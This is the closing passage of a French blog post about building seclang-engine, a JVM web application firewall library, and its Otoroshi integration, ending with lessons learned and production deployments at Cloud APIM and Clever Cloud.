* [**otoroshi-waf-extension**](https://github.com/cloud-apim/otoroshi-waf-extension) : l'intégration dans Otoroshi
    

Comme seclang-engine est une bibliothèque autonome, avec des API Java et Scala, vous pouvez facilement l'intégrer à n'importe quel projet JVM, qu'il s'agisse d'une application Jakarta EE, Spring Boot, Quarkus ou Play Framework. Ajoutez simplement la dépendance et commencez à protéger vos endpoints.

## Conclusion

Ce qui avait commencé comme un projet de vacances de Noël s'est transformé en une implémentation complète de WAF. Ce voyage m'a appris plusieurs choses :

1. **Ne vous laissez pas intimider par la complexité** : cette grammaire ANTLR a transformé un parser « impossible » en projet de week-end.
    
2. **Les suites de tests valent de l'or** : les tests du CRS ont été inestimables pour trouver des cas limites que je n'aurais jamais imaginés.
    
3. **L'assistance de l'IA, c'est du concret** : Claude Code m'a aidé à venir à bout des parties fastidieuses (méthodes du visitor, portage de libinjection) pour que je puisse me concentrer sur l'architecture.
    
4. **Le multi-tenant, ça se conçoit** : le cache et la composition ne s'ajoutent pas après coup, ils doivent être pensés dès le départ.
    

Le nouveau WAF tourne désormais en production sur les instances Otoroshi managées de [Cloud APIM](https://www.cloud-apim.com/fr) et sur les déploiements Otoroshi de [Clever Cloud](https://www.clever.cloud/). Il est plus rapide, plus économe en mémoire et bien plus flexible que notre solution basée sur WASM.

Si vous voulez utiliser [seclang-engine](https://github.com/cloud-apim/seclang-engine) dans vos propres projets JVM, jetez un œil aux dépôts ci-dessus. Et si vous avez des questions ou envie de contribuer, n'hésitez pas à ouvrir des issues ou des PR !